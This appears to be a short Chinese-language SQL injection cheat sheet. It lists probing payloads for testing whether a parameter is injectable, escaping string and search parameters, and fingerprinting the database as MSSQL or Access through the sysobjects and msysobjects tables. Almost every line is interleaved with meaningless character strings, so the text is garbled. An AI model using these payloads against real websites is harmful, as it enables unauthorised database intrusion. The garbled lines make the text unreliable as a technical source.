1.判断是否有注入;and 1=1 ;and 1=2 YY<?w
2.初步判断是否是mssql ;and user>0 p2vUt
~%K(ou=2
3.注入参数是字符'and [查询条件] and ''=' 5nq-b@?L
a&VJYAB
4.搜索时没过滤参数的'and [查询条件] and '%25'=' *dTf(J
3&Rqz9 W
5.判断数据库系统 gj;G:;1m
BmF>IQ`M?
;and (select count(*) from sysobjects)>0 mssql [:S F(*}
(4{9
QO
;and (select count(*) from msysobjects)>0 access 2U+p@}cQUA
NS;8&